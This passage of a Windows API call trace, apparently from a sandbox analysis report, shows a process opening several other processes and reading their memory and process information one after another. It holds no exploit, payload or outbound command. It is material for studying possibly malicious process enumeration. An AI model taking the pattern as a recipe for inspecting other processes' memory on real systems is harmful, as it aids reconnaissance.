lpNumberOfBytesRead=0x0) returned 1 [0258.798] malloc (_Size=0x66) returned 0x196ef0d06f0 [0258.798] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1956, lpBuffer=0x196ef0d06f0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d06f0*, lpNumberOfBytesRead=0x0) returned 1 [0258.799] free (_Block=0x196ef0d06f0) [0258.799] CloseHandle (hObject=0x464) returned 1 [0258.800] _ui64tow_s (in: _Value=0xe78, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3704") returned 0x0 [0258.808] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3704") returned 4 [0258.810] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0258.810] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0258.841] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe78) returned 0x464 [0258.841] GetLastError () returned 0x0 [0258.841] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0258.841] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x202018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0258.842] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0258.842] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0258.842] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a18f8, lpBuffer=0x670f7c2b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0258.843] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0258.844] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0258.844] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x202020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0258.844] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0258.844] malloc (_Size=0x78) returned 0x196ef0d2120 [0258.844] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0258.845] free (_Block=0x196ef0d2120) [0258.846] CloseHandle (hObject=0x464) returned 1 [0258.846] _ui64tow_s (in: _Value=0xe88, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3720") returned 0x0 [0258.850] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3720") returned 4 [0258.851] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0258.851] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0258.867] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x464 [0258.867] GetLastError () returned 0x0 [0258.868] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0258.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ac018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0258.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0258.869] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0258.869] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d18f8, lpBuffer=0x670f7c2b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0258.885] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0258.888] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0258.888] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ac020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0258.888] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0258.888] malloc (_Size=0x78) returned 0x196ef0d2120 [0258.888] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0258.889] free (_Block=0x196ef0d2120) [0258.890] CloseHandle (hObject=0x464) returned 1 [0258.890] _ui64tow_s (in: _Value=0xe90, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3728") returned 0x0 [0258.895] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3728") returned 4 [0258.897] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0258.897] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0258.937] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe90) returned 0x464 [0258.937] GetLastError () returned 0x0 [0258.937] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0258.937] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x30e018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0258.937] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0258.938] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b1ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0258.938] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b18f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0258.939] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0258.941] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0258.941] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x30e020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0258.941] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0258.941] malloc (_Size=0x70) returned 0x196ef0d31b0 [0258.942] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0258.942] free (_Block=0x196ef0d31b0) [0258.943] CloseHandle (hObject=0x464) returned 1 [0258.944] _ui64tow_s (in: _Value=0xea4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3748") returned 0x0 [0258.950] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3748") returned 4 [0258.951] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0258.951] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0258.975] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xea4) returned 0x464 [0258.976] GetLastError () returned 0x0 [0258.976] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0258.976] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a8018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0258.977] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0258.977] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0258.977] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e18f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0258.978] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0258.996] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0258.997] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a8020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0258.997] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0258.997] malloc (_Size=0x72) returned 0x196ef0d31b0 [0258.997] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0258.998] free (_Block=0x196ef0d31b0) [0258.998] CloseHandle (hObject=0x464) returned 1 [0258.999] _ui64tow_s (in: _Value=0xeac, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3756") returned 0x0 [0259.005] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3756") returned 4 [0259.006] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.006] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0259.046] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x464 [0259.046] GetLastError () returned 0x0 [0259.046] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0259.047] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3af018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0259.047] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0259.047] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461ca0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0259.047] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x670f7c2b0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.049] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0259.050] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0259.050] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3af020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0259.050] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0259.050] malloc (_Size=0x5a) returned 0x196ef0d03e0 [0259.050] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46194a, lpBuffer=0x196ef0d03e0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0259.051] free (_Block=0x196ef0d03e0) [0259.051] CloseHandle (hObject=0x464) returned 1 [0259.052] _ui64tow_s (in: _Value=0xec4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3780") returned 0x0 [0259.057] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3780") returned 4 [0259.058] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.058] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0259.080] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xec4) returned 0x464 [0259.080] GetLastError () returned 0x0 [0259.080] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0259.080] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3de018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0259.081] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0259.081] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x501cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0259.081] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5018f8, lpBuffer=0x670f7c2b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.082] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0259.084] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0259.084] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3de020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0259.084] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5012e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0259.084] malloc (_Size=0x66) returned 0x196ef0d03e0 [0259.084] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x501956, lpBuffer=0x196ef0d03e0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0259.085] free (_Block=0x196ef0d03e0) [0259.086] CloseHandle (hObject=0x464) returned 1 [0259.128] _ui64tow_s (in: _Value=0xecc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3788") returned 0x0 [0259.135] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3788") returned 4 [0259.137] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.137] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0259.158] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xecc) returned 0x464 [0259.158] GetLastError () returned 0x0 [0259.158] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0259.159] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x290018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0259.159] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0259.159] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x441cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0259.159] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4418f8, lpBuffer=0x670f7c2b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.171] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0259.173] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0259.173] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x290020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0259.173] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4412e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0259.173] malloc (_Size=0x74) returned 0x196ef0d31b0 [0259.173] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x441964, lpBuffer=0x196ef0d31b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.174] free (_Block=0x196ef0d31b0) [0259.174] CloseHandle (hObject=0x464) returned 1 [0259.175] _ui64tow_s (in: _Value=0xedc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3804") returned 0x0 [0259.179] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3804") returned 4 [0259.180] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.180] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0259.203] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xedc) returned 0x464 [0259.203] GetLastError () returned 0x0 [0259.203] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0259.204] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0259.204] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0259.204] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x481c70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0259.205] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4818f8, lpBuffer=0x670f7c2b0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.206] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0259.207] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0259.207] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: 